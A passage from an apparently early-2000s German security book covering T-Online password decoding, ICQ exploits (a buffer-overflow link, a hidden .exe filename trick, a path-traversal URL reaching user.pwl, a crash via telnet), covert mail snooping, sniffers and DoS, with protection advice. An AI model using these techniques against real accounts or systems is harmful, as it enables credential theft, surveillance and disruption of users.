 Seit geraumer Zeit ist es nicht mehr möglich, dass sich User mit derselben Mitbenutzer-suffix gleichzeitig mehrmals einwählen können. Dieses Problem lässt sich umgehen, wenn man das Passwort der Mitbenutzersuffix #0001 hat. Dann kann einfach über die Serviceseite von http://www.t-online.de ein neuer Mitbenutzer eingerichtet werden. Die-ser Account kann dann frei genutzt werden.
 Weitere Möglichkeiten:
 Da nicht jeder Interesse an einem günstigen Account hat, gibt es noch die Möglichkeit, sämtlichen E-Mail-Verkehr des betroffenen Users abzufangen. Hierbei bietet sich die T-Online-Software an, da man die Mails mit der Software nicht gleich vom Server holen muss, sondern sich den Absender und den Betreff der Mails auch schon ansehen kann, wenn sie noch auf dem Server liegen. Das hat den Vorteil, dass dem User keine Mails verloren gehen, aber man immer im Bilde über den aktuellen Mailverkehr ist.
 Um eine solche Art von Spionage auszuschließen, wäre eine Verschlüsselung der Mails zum Beispiel mit PGP empfehlenswert.
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 Schutz
 Um sich gegen Attacken dieser Art zu schützen, gibt es mehrere Möglichkeiten. Neben Firewalls und Virenscannern, die verhindern, dass Hacker dazu kommen, einen Troja-ner zu installieren bzw. sich mit einem evtl. vorhandenen Trojaner zu verbinden, emp-fiehlt sich ein Passwortschutz wie z.B. »PassSecure« (auf der beiliegenden CD).
 User, die sich über die DFÜ-Verbindung ins Internet einwählen, sollten darauf verzich-ten, ihre Passwörter zu speichern und das Passwort vor jeder Einwahl neu eingeben.
 Weitere Informationen zum Thema T-Online-Sicherheit erhält man auf folgender Web-seite: http://www.t-online.de/service
 8.2.2 T-Online-Zugangsdaten entschlüsseln
 Spätestens seit Aron Spohr 1999 live die T-Online-Verschlüsselung knackte, weiß jeder, dass sich T-Online nicht besonders viele Gedanken über den Datenschutz seiner Kun-den macht.
 Wie Spohr an die Daten kam, möchte ich in diesem Beispiel veranschaulichen.
 T-Online speichert die Benutzerdaten in der Datei DBSERVER.INI oder in der PASS-WORT.INI im T-Online-Verzeichnis.
 Bild 8.7: Blick auf die dbserver.ini
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 Diese Informationen werden dann nach folgendem Prinzip verschlüsselt gespeichert:
 ■
 ■
 ■
 ■
 Das Passwort wird in [Bereich1] Gruppe3 abgelegt.
 Die Telefonnummer steht in [Bereich5] Gruppe2.
 Die ersten 5 Zahlen der Anschlusskennung stehen in [Bereich20] Gruppe3, der Rest in [Bereich20] Gruppe 4.
 Die Mitbenutzernummer steht ebenfalls in [Bereich20] Gruppe3, hinter den ersten 5 Zahlen der Anschlusskennung.
 Beispiel zur Entschlüsselung
 Gruppe3=ABCDEFGH^ FXD^ F\D^ F`D^ FdD^ GXD^ G\D^ G`D^ GdD^ IJKLMNOP^ 0 1 2 3 4 5 6 7
 Aus dieser Zeichenfolge kann man nur das Mittelstück (FXD^ F\D^ F`D^ FdD^ GXD^ G\D^ G`D^ GdD^) benutzen. Die Zeichen links (ABCDEFGH^) und rechts (IJKLMNOP^) vom Passwort sind nur zur Verwirrung. Achtung, die Anzahl dieser »Verwirrungs-Zeichen« ist immer unterschiedlich! Wenn man aber lange genug pro-biert, findet man alle Zahlen und Buchstaben.
 In der folgenden Tabelle werden alle Zahlen verschlüsselt und unverschlüsselt angezeigt.
 Zeichen Zahl:
 F X D ^ 0
 F \ D ^ 1
 F ` D ^ 2
 F d D ^ 3
 G X D ^ 4
 G \ D ^ 5
 G ` D ^ 6
 G d D ^ 7
 H X D ^ 8
 H \ D ^ 9
 Das Passwort lautet also in diesem Beispiel: 0 1 2 3 4 5 6 7 8 9
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 Zeichen Zahl:
 F \ D ^ 1
 F X D ^ 0
 F ` D ^ 2
 F d D ^ 3
 F \ D ^ 1
 G X D ^ 4
 G d D ^ 7
 F \ D ^ 1
 H \ D ^ 9
 In diesem Fall wäre das Passwort also 1 0 2 3 1 4 7 1 9
 Anmerkung: Laut §263 und §202 macht sich jeder strafbar, der dies ausnutzt, und
 das Aufzeigen dieser Lücken soll nicht dazu aufrufen, Nutzer in irgendeiner Art und Weise zu schädigen.
 8.2.3 T-Online-Zugangsdaten einer Webpage
 Der Indiskretion von T-Online ist es zu verdanken, dass man mit einfachsten Mitteln den Namen, die Adresse und die Telefonnummer jedes Users präsentiert bekommt, der bei T-Online eine Homepage unterhält.
 Auf der T-Online-Homepage gibt es unter Service/Web Präsenz eine Suchmaschine, die es ermöglicht, nach privaten T-Online Kunden-Homepages zu suchen (natürlich geht das auch mit jeder anderen Suchmaschine, wenn die Page dort eingetragen ist oder wenn jemand nach home.t-online sucht). Gibt man nun z.B. den Suchbegriff hacken ein, be-kommt man eine ganze Reihe Seiten von T-Online-Nutzern angezeigt, die Ihre kostenlo-sen 10 MB Webspace dem Thema Computersicherheit und Hacking geopfert haben.
 Eine der Seiten ist beispielsweise http://home.t-online.de/home/ifkom-da/hacker.htm, die Seite des Kunden ist also unter der T-Online Adresse ifkom-da.html zu erreichen.
 Ändert man nun die Adresse folgendermaßen um, http://home.t-online.de/home/ifkom-da/.impressum.html erhält man folgende Seite:
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 Bild 8.8: /.impressum.html Datei eines T-Online Users
 Verantwortlich für den Inhalt des Verzeichnisses home.t-online.de/home/061514 -8513:
 ist der Nutzer:
 Oell ,Walter Tietz XXXweg 30 64295 Darmstadt T-Online-Nummer: 06151 E-Mail-Adresse: [email protected] (Alle Angaben mit Rücksicht auf die Privatsphäre geändert)
 Hier ist Folgendes geschehen: Es wurde eine HTML-Seite aufgerufen, die jeder T-Online-User automatisch mit in seinem Upload-Verzeichnis anlegt, die er selber aber nie löschen kann. Nach Abfrage dieser HTML-Seite bekommen wir einige relevante Daten zu sehen.
 8.3 ICQ – praktisch und gefährlich »I seek you« ist ein Kommunikationstool, welches sich aufgrund hohen Komforts und großer Benutzerfreundlichkeit neben dem IRC (InternetRelayChat) zu einem der meist genutzten Chatsysteme des Internets entwickelt hat. Der Client ist auf den verschiedens-ten Plattformen zu finden. Neben dem meistgenutzten Windows-Client, gibt es mehrere Clients unter Linux und auch für MacOS und BeOS.
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 Jeder Nutzer von ICQ bekommt bei der Anmeldung in der Community eine eigene Nummer, die Universal Identifier Number oder einfach nur UIN genannt. Diese Num-mer ist mit der eigenen Adresse oder eigenen IP vergleichbar, da die Nutzer durch die UIN andere Nutzer finden und auch identifizieren können. Mittlerweile existieren fast 150.000.000 Nummern. Wenn man einen anderen Nutzer sucht, gibt man einfach unter FIND USER den Namen, die E-Mail-Adresse oder die UIN des Nutzers ein und kann mit ihm dann in Kontakt treten.
 In die Kontaktliste kann man alle Nutzer eintragen, mit denen man regelmäßigen Kon-takt wünscht. Anhand des Status sieht man, wer online, wer offline ist oder wer momen-tan gern ungestört bleiben möchte.
 Im ICQ-Client ist es möglich, während der Sitzung seinen eigenen Status zu verändern, dabei hat man die Wahl zwischen ONLINE, OFFLINE, AWAY und INVISIBLE zu wechseln, um nur die wichtigsten zu nennen.
 Bild 8.9: Bedienelemente von ICQ und eine Nachricht von einem Sub7-Server
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 1.
 2.
 3.
 utz.
 Windows ICQ Client v. 2000b
 ICQ–Pagerbenachrichtigung eines Sub7-Server
 ICQ-Messagewindow
 8.3.1 ICQ ein Sicherheitsrisiko?
 In letzter Zeit häuften sich die Stimmen, die ICQ als Sicherheitsrisiko bezeichneten und auf die Frage »Hast du ICQ?« bekam ich immer häufiger die Antwort »Ist mir zu unsi-cher!«. Die größten Gefahren von ICQ liegen eigentlich nur darin, dass es dem Angreifer Informationen über das Opfer gibt. Der wichtigste Punkt ist dabei wohl die IP. Die Aus-gabe der IP kann zwar durch diverse Einstellungen unterdrückt werden (ab Version 99b kann auch eine andere vorgetäuscht werden) aber es finden sich immer mehr Tools im Internet, die diese Einstellungen umgehen und dem Angreifer die gewünschten Informationen liefern. Daher ist auch dies kein sicherer Sch
 Weiterhin sind verschiedene Remote-Buffer-Overflows und DoS-Attacken für den ICQ bekannt. Diese können durch zahlreiche War-Tools aus dem Netz bewerkstelligt wer-den. Beliebt sind auch Attacken, bei denen der Angreifer das Opfer mit einer Vielzahl von Messages zubombt (s.o. in diesem Kapitel unter Mailbomber, was das bedeutet). Das Sicherheitsrisiko von ICQ liegt aber mehr in der Sicherheit des Systems, auf dem der Client läuft, als am ICQ-Network selbst. User sollten dringend darauf achten, wem sie die Autorisierung für Ihre Kontaktliste geben und wem nicht.
 8.3.2 Welche Sicherheitslücken gibt es?
 Korrupte Links
 Das Öffnen verschiedener Links kann bei dem ICQ-User eine Datei wie z.B. ein Trojani-sches Pferd oder einen Virus aktivieren. Im Zusammenhang mit bestimmten Befehlen kann aber auch die gesamte Festplatte formatiert werden. Ein solcher Angriff wurde bei-spielsweise zu Testzwecken »gegen« eine Windows 98 und 2000 Plattform durchgeführt. Der Link kann wie folgt aussehen:
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 http://www.yahoo.com/link.asp? ^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð ➥ ^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð ^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð ➥ ^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð ^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð ➥ ^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð ^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð ➥ ^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð ^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð ➥ ^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð ^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð ➥ ^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð ^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð ➥ ^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð ^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð ➥ ^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð ^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð ➥ ^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð!!!! ·P!^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð«
 Schutz
 Abhilfe kann man dadurch schaffen, dass man seinen ICQ-Client so einstellt, dass er unbekannte Links, die zugesendet werden, sofort verwirft.
 Auspuffern von Dateinamen unter ICQ 99
 Wie auch per Mail kann man auch mit ICQ Dateien senden und empfangen. Und auch hier funktioniert ein schon beschriebener Trick: Nehmen wir an, ein Angreifer schickt einem User eine Datei, einen Trojaner oder Virus etc. Sendet er diese Datei, erscheint bei seinem Gegenüber ein Popup-Fenster mit der Dateibezeichnung und weiteren hier nicht relevanten Informationen.
 Der Trick ist folgender: der Angreifer polstert den Dateinamen der Datei def.jpg.exe mit einer Folge von Leerzeichen aus, z.B. def.jpg .exe.
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 Bild 8.10: Nichts zu sehen von der Exe-Datei
 Nun reicht der Platz des Popup-Fensters nicht mehr aus, so dass die eigentliche Endung .exe nicht mehr erscheint. Statt die Endung .exe anzuzeigen wird lediglich die Bezeich-nung .jpg angezeigt. So denkt der Nutzer, man wolle ihm tatsächlich ein Bild senden. Verwendet der Angreifer nun zum Beispiel einen Trojaner oder einen Virus, kann der User leicht zum Opfer werden, wenn er die Datei annimmt und ausführt.
 Schutz
 Dieser Bug ist ab ICQ 2000 beseitigt. Der beste Schutz ist deshalb ein Update auf die ak-tuelle Version.
 User ohne Erlaubnis hinzufügen
 Die Autorisierung des ICQ kann für den Angreifer mitunter ziemlich lästig sein, wenn dieser ein Opfer in seine Kontaktliste aufnehmen will, ohne dass das Opfer dies merkt. Im Internet gibt es dafür eine ganze Reihe Tools und Cracks, die das Aufnehmen von Usern in die Kontaktliste ermöglichen, ohne dass diese etwas davon mitbekommen.
 Normalerweise bekommt der User nämlich eine Nachricht zugesandt, die mitteilt, dass er in eine Kontaktliste aufgenommen wurde. Um dieses Problem zu umgehen, hat der Angreifer folgende Möglichkeit:
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 Er lädt sich einen der ICQ-Cracks aus dem Internet herunter, deaktiviert ICQ, patcht ICQ mit dem Crack und versucht, einen Nutzer hinzuzufügen. Sollte dies erfolgreich sein, sucht er nach der UIN, die er hinzufügen will, über Find User. Sobald ICQ die An-frage positiv bestätigt, markiert er den Namen der Person, indem er ihn anklickt.
 Danach muss die Verbindung zum Netz getrennt werden. Wenn das erledigt ist, klickt er auf NEXT. ICQ wird nun Fehlermeldungen bringen, die besagen, dass ICQ keine Nach-richten verschicken kann. Wenn sämtliche Fehlermeldungen bestätigt sind, sollte der Angreifer die gewünschte Person in seiner Kontakt-Liste haben, und zwar, ohne dass diese etwas davon erfahren hat.
 Er kann sein Opfer nun in aller Ruhe beobachten oder es bei Bedarf auch angreifen.
 Schutz
 ICQ arbeitet regelmäßig an der Sicherheit seines Chat-Systems und es ist auch in diesem Fall anzumerken, dass ein regelmäßiges Update zumindest kurzzeitig Schutz bieten kann.
 ICQ abstürzen lassen
 Unter ICQ kann man anderen Nutzern anzeigen lassen, ob man einen Webserver auf seinem System betreibt. Dieser kann meist
 über einen Klick auf das untenstehende Icon oder den folgenden Link erreicht werden http://ipdesusers .
 Ein solches Zeichen ist oft ein gefundenes Fressen für Hacker, diese nutzen diese Tatsa-che aus, um solche Systeme zu attackieren.
 Der angezeigte Webserver kann nämlich durch diverse Attacken dazu genutzt werden, dem Angreifer einen Punkt zum Eindringen zu bieten. Eines der dazu gern genutzten Tools ist UIN-IP. Es gibt nach Eingabe des ICQ-Pfades jede IP der in der Kontaktliste eingetragenen User wieder.
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 Bild 8.11: Hier steht die IP.
 Oder der Angreifer gibt während der Unterhaltung mit seinem Gegenüber einfach netstat –n in seine Eingabeaufforderung ein, um mehr über seinen Chat-Partner herauszubekommen.
 Wenn der Hacker nun die IP des Opfers hat, gibt er in die Eingabeaufforderung Folgen-des ein:
 Telnet 217.82.172.40:80, wobei er 217.82.172.40 durch die gefundene IP ersetzt.
 Danach schreibt er einfach QUIT in den Telnet Client. Dadurch sollte der ICQ des Op-fers geschlossen werden, und er sollte nach einiger Zeit nicht mehr als online angezeigt werden.
 Dies ist ein gutes Beispiel für die noch bestehenden Unsicherheiten eines ICQ Client.
 Dateien eines Nutzers ansehen
 Auch hier ist wieder Voraussetzung, dass der User einen Webserver installiert hat und dass dem Hacker seine IP bekannt ist.
 Jetzt könnte er z.B. Folgendes in seinen Browser eingeben:
 http:// 217.82.172.40 /.html/......../user.pwl
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 wobei 217.82.172.40 die IP Adresse des Opfers sein soll. Die Punkte stehen für die Ver-zeichnisse, in die man wechselt, um auf C:\ zu kommen. Nun kann der Angreifer die an-gewählten Dateien auf seinem Rechner speichern.
 Natürlich ist dies nur ein Beispiel, da der Angreifer die genaue Verzeichnisstruktur nicht kennen wird. In den meisten Fällen wird allerdings die Standard-Verzeichnisstruktur von Windows vorliegen, so dass ein Zugriff auf die Passwörter möglich ist.
 Schutz
 Sollte man einen Webserver laufen lassen müssen, ist es ratsam, auf diesem Rechner kein ICQ zu verwenden.
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99 Sniffer
 Eine der größten Gefahren für Netzwerke sind Sniffer. In diesem Kapitel soll gezeigt werden, was sich hinter diesem Begriff verbirgt, welche Anwendungsgebiete Sniffer ha-ben und welche Gefahren durch Sniffer bestehen.
 9.1 Was ist ein Sniffer? Sniffer haben verschiedene Anwendungsgebiete. Zum einen dienen sie Administratoren als unerlässliche Helfer zum Aufspüren von Problemen oder potentiellen Gefahrenbe-reichen in Netzwerken. Sollten z.B. in einem Teil des Netzwerks aufgrund mangelhafter Konfiguration Probleme auftreten, dann kann der Administrator einen Sniffer einset-zen, um festzustellen, an welcher Stelle des Netzwerks die Probleme liegen. Zum ande-ren bieten Sniffer Angreifern die Möglichkeit, ganze Netzwerkpakete »abzuhören«.
 Sniffer lassen sich auf einzelnen Computern im WWW/LAN/WAN installieren, proto-kollieren den Datenstrom und schreiben die analysierten Daten in der Regel in eine Da-tei zur Einsicht für den, der den Sniffer installiert hat.
 Je nachdem, welcher Sniffer verwendet wird, können verschiedene Protokolle abgehört werden. Zu ihnen gehören unter anderem: TCP/IP (Ethernet/WWW), IPX, AppleTalk, Banyan VINES und LCC. Einer der bekanntesten Sniffer ist z.B. der BUTTsniffer oder auch der Analyzer, auf den später noch eingegangen wird.
 9.2 Wie arbeitet ein Sniffer? Jedes Netzwerkinterface eines Rechners hat im LAN seine eigene Adresse. Diese unter-scheidet den Rechner von allen anderen im Netzwerk. Ein ähnliches System findet man bei der Internetadressierung. Im Netzwerk werden zur Verteilung der Daten häufig Hubs verwendet. Versendet man nun eine Nachricht, wird diese in einzelnen kleinen

Page 243
						

9.2 Wie arbeitet ein Sniffer? 224499
 Paketen, auch Ethernetframes genannt, an den Hub gesendet und von dort an alle ange-schlossenen Rechner weitergeleitet. Normalerweise nimmt nur der Rechner die Daten an, an den sie auch adressiert sind. Die anderen Netzwerkinterfaces empfangen die Da-ten zwar, verarbeiten sie aufgrund der falschen Adresse aber nicht weiter. Ein Sniffer setzt an diesem Punkt an. Er versetzt das Netzwerkinterface in einen so genannten Pro-miscuous-Mode. Dieser Modus erlaubt die Verarbeitung und Annahme der Pakete durch bestimmte Applikationen, auch wenn sie nicht für diesen Rechner bestimmt sind. Nun kann der Sniffer mit seiner eigentlichen Arbeit beginnen.
 Natürlich wäre es sinnlos, den gesamten Datenverkehr des Netzwerkes auszuwerten, weil die meisten Informationen überhaupt nicht interessant sind. Daher sind die meis-ten Sniffer darauf ausgelegt, nur wirklich relevante Daten auszuwerten. Diese können je nach Eigenschaft des Sniffers z.B. Passwörter oder Benutzernamen sein. Die abgefange-nen Informationen werden in so genannten Output-Files gespeichert.
 Bild 9.1: Analyzer, einer der bekanntesten Sniffer
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 9.3 Gefahren eines Sniffers Sniffer stellen eine sehr große Gefahr in den oben geschilderten Netzwerkstrukturen dar, weil sie den gesamten Datenverkehr im Netzwerk abfangen können. Es ist kein direkter Eingriff auf das System eines bestimmten Nutzers notwendig, um z.B. die Passwörter seines Mail-Accounts oder des Onlinebankings auszuspionieren. Sicherheitsmaßnah-men, wie z.B. das Nichtspeichern der Passwörter auf der Festplatte, sind bei Sniffern sinnlos, weil sie beim Heraussenden aus dem Rechner ins Netzwerk vom Sniffer jeder-zeit erkannt werden können.
 9.4 Was kann man gegen Sniffer machen? Um Sniffer zu entdecken und zu entfernen, benötigt man sehr gute Kenntnisse im Be-reich der Netzwerktopologie. Sniffer hinterlassen aus Sicht des normalen Anwenders keine Spuren und werden darüber hinaus nur auf dem Rechner des Angreifers ausge-führt, das heißt, sie arbeiten absolut passiv. Daher ist es für den normalen Netzwerkbe-nutzer kaum bzw. nicht möglich, Sniffer im LAN zu entdecken. Für die Aufdeckung ste-hen nur dem Administrator verschiedenste Tools zu Verfügung, die weiter unten be-schrieben werden (siehe Anti-Sniffer).
 Zum Schutz der eigenen Daten gegen Sniffer stehen auf der Anwenderseite Verschlüsse-lungsprotokolle wie z.B. SSH oder SSL zur Verfügung.
 Der Einsatzschwerpunkt Netzwerk macht jedoch generell aufwändigere Maßnahmen notwendig. Dieser Tabelle können Sie detaillierte Schutzmechanismen entnehmen.
 Maßnahme Beschreibung
 Datenverteilung Der eigentliche Angriffspunkt eines Sniffers besteht in der Eigenschaft des
 Hubs, die empfangenen Daten grundsätzlich an alle mit ihm verbundenen
 Rechner zu senden. Will man sichergehen, kann man anstelle von Hubs
 auch Switches oder Auto-Switching-Hubs verwenden, die die Daten im
 Gegensatz zu normalen Hubs auch wirklich nur an den Zielrechner wei-
 terleiten. Diese Geräte sind jedoch teurer als einfache Hubs.
 Netzwerkkarte Eine einfachere und kostengünstigere Variante ist es, die am LAN ange-
 schlossenen Computer mit der richtigen Netzwerkkarte auszurüsten. Da
 ein Sniffer nur dann funktionieren kann, wenn sich die Netzwerkkarte im
 Promiscuous-Mode befindet, scheint die entsprechende Lösung offen-
 sichtlich: Es sollten im LAN nur Netzwerkkarten verwendet werden, die
 diesen Modus nicht zulassen. Anbieter, die solche Karten in ihrem Sorti-
 ment haben, wären beispielsweise 3Com, IBM, Hewlett-Packard oder Intel.
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 Maßnahme Beschreibung
 Anschlüsse prüfen Der Administrator kann auch die im LAN befindlichen Rechner auf ent-
 sprechende Netzwerkkarten im Promiscuous-Mode oder verdächtige Ap-
 plikationen checken. Benutzt der Angreifer jedoch ein in das Netzwerk in-
 tegriertes Notebook, das er nach dem Sniffen wieder mitnimmt, ist diese
 Variante, genauso wie die obige, leider weniger effektiv.
 Reaktionszeit prü-
 fen
 Sendet man Daten an einen Rechner, dessen Netzwerkinterface sich im
 Promiscuous Mode befindet, so wird die Reaktionszeit länger sein als
 normalerweise üblich. Es gibt Programme, welche Netzwerke auf ihre Re-
 aktionszeit testen können. Dies wird z.B. auch verwendet, um Schwach-
 stellen in Bezug auf die Performance eines Netzwerkes zu testen. Testet
 man nun ein Netzwerk regelmäßig auf die Reaktionszeit der einzelnen an-
 geschlossenen Rechner, lässt sich auf diese Weise ein Rechner, welcher ei-
 nen potentiellen Sniffer darstellt, gut lokalisieren und dann lokal auf Snif-
 fer überprüfen.
 IPv6 Schon bald wird sich die neue Version von TCP/IP durchsetzen, welches
 als IPv6 oder IPng bekannt ist. Dieses Protokoll beinhaltet auch IPsec, bei
 dem die Daten auf Netzwerkebene verschlüsselt werden und nur vom
 wirklichen Zielrechner wieder entschlüsselt werden können. Genauer soll
 hier jedoch noch nicht auf IPv6 eingegangen werden. Sobald dieses Proto-
 koll jedoch den neuen Standard im Netz darstellen wird, gibt es (vorerst)
 keine Probleme mehr mit Sniffern.
 Kryptografie In Applikationen verwendete Verschlüsselung ist wohl das wichtigste Mit-
 tel zum Schutz vor Sniffer-Attacken.
 Um Datenübertragungen sicher zu gestalten, kann man diese verschlüs-
 seln. Für größere Netzwerke können Sicherheitsmechanismen wie etwa
 S/Key oder SecureID-Token in Betracht kommen. Dabei handelt es sich
 um die Vergabe von Passwörtern, die nur einmal gültig sind. Leider sind
 diese Verfahren ziemlich aufwändig und werden von den Benutzern auch
 nicht gerne angenommen, denn schließlich hat man lieber ein eigenes und
 beständiges Passwort.
 Auch für Zugriffe auf Mail-Accounts gibt es eine sichere Methode namens
 S/POP, welche die Daten ebenfalls verschlüsselt übermittelt.
 SSL Im Internet gibt es zur Verschlüsselung von HTTP-Übertragungen das so
 genannte SSL (Secure Socket Layer). Browser mit entsprechend starker
 Verschlüsselung sind auch bereits erhältlich.
 Für den E-Mail-Versand ist allerdings problematisch, dass viele Anbieter
 von reinen Mail-Diensten die Verwendung von SSL nur kommerziell an-
 bieten (z.B. GMX). Man sollte also darauf achten, welche Dienstleistungen
 man von unsicheren Netzen aus in Anspruch nimmt.
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 Maßnahme Beschreibung
 SSH Da Telnet alle Daten wie etwa Passwörter und Befehle unverschlüsselt
 übermittelt, musste man eine neue Möglichkeit entwickeln, um sich ge-
 schützt über Telnet einzuloggen. Anstelle des üblichen Telnet-Clients
 kann man einen SSH-Client (Secured Shell) verwenden, welcher die Daten
 nur sicher verschlüsselt übermittelt.
 Anti-Sniffer Es werden im Netz verschiedenste Programme zum Aufspüren von Snif-
 fern angeboten. Programme, die den Rechner kontrollieren, auf den man
 gerade lokal zugreift, mögen zwar ihren Zweck erfüllen, doch sind sie
 kaum von großem Nutzen. Es gibt jedoch auch Programme, welche fest-
 stellen sollen, ob ein anderer Rechner gerade snifft. So ein Tool ist z.B. für
 Unix/Linux Beavis and Butthead, auch als snifftest.c bekannt. Es gilt bei
 solchen Programmen immer etwas skeptisch zu bleiben, da meist nur
 Bugs gewisser Netzwerkkarten überprüft oder Programme verwendet
 werden, um auf solche Attacken aufmerksam zu machen.
 Tabelle 9.1: Schutzmaßnahmen gegen Sniffer
 Im Endeffekt gibt es jedoch immer wieder Programme, die zwar über das Netzwerk ar-beiten, jedoch keine Möglichkeit zur Verschlüsselung der Daten bieten. Da die meisten Nutzer eine manuelle Verschlüsselung nur ungern verwenden, müsste der Verschlüsse-lungsvorgang außerdem automatisch erfolgen.
 Auch der vermeintlichen Sicherheit von mit PGP oder ähnlichen Programmen ver-schlüsselten Dateien/Mails ist nur dann zu trauen, wenn das Öffnen der Dateien auf dem eigenen Rechner stattfindet. Werden z.B. mit PGP verschlüsselte Mails aber auf dem Mail-Server geöffnet (was sicherlich häufig passiert), dann wird auch das zum Öff-nen benötigte Passwort wieder über das Netzwerk übertragen, so dass auch jeder Sniffer dieses abfangen kann. Erst wenn IPv6 zum Einsatz kommt kann man von einer sicheren Übertragung ausgehen, da dort die Daten an sich bereits verschlüsselt übertragen wer-den und ein Sniffer somit nichts mit ihnen anfangen kann.
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1100 Denial of Service Attack
 DoS-Attacken entwickelten sich im Laufe der Zeit zu einer der größten Gefahren des In-ternets. Bei einem solchen Angriff werden Rechner im Internet attackiert und zum Ab-sturz gebracht, so dass sie dann zeitweise ihren Dienst nicht mehr aufnehmen können. Von DoS-Attacken sind sowohl Internetuser als auch Server, z.B. Webserver, betroffen. Einer der bekanntesten Angriffe wurde im Februar 2000 über einen Zeitraum von 2 Ta-gen auf Yahoo, eBay, CNN und einige andere größere Portale im Netz gestartet. Der durch den Ausfall der Systeme angerichtete Schaden betrug ca. 100 Millionen Dollar. DoS-Attacken nutzen Fehler in Betriebssystemen, Programmen und Protokollen, was bedeutet, dass es unterschiedliche Arten dieser Attacken gibt. Das Resultat ist jedoch immer das gleiche: der attackierte Rechner verweigert seinen Dienst.
 DoS-Attacken werden meist dann ausgeführt, wenn der Angreifer keinen anderen Weg findet, das System zu attackieren oder wenn er es gezielt lahm legen möchte. Ein anderer Grund, eine gezielte DoS-Attacke auszuführen, ist beispielsweise, ein System zu einem Neustart zu zwingen, um eine vorgenommene Änderung zu aktivieren (Stichwort: Tro-janer). Weitere beliebte Ziele sind User, die sich auf Game-Servern oder IRC-Servern befinden.
 Für die verschiedenen Attacken stehen Angreifern im Netz eine ganze Reihe von Tools zur Verfügung, die meist über eine gut bedienbare graphische Oberfläche verfügen, so dass der Angreifer über keine tiefgreifenden technischen Erfahrungen verfügen muss, um sein Ziel anzugreifen.
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 10.1 IP-Spoofing als Voraussetzung IP-Spoofing ist eine Angriffsmethode, bei der falsche IP-Nummern verwendet werden, um dem angegriffenen IT-System eine falsche Identität vorzuspielen.
 IP- Spoofing, bei dem die Absenderadresse des Paketes geändert wird, ist die Grundlage vieler DoS-Angriffe. Es macht entweder die Attacke erst möglich oder dient dazu, die Spuren des Angreifers zu verschleiern und eine Identifizierung zu verhindern. So wurde der Angreifer, der zwei Tage lang Yahoo und Co. bombardierte, nur aufgrund seiner Prahlerei in einem einschlägigen Chatroom gefasst.
 Zum Schutz wurde 1998 eine Organisation geschaffen, die es angeschlossenen Netz-werkbetreibern unmöglich macht, gefälschte IP-Pakete in das Internet zu senden. Leider ist dies nur eine beschränkte Lösung, weil sie lediglich Angriffe von Systemen verhin-dert, die an diese Organisation gebunden sind.
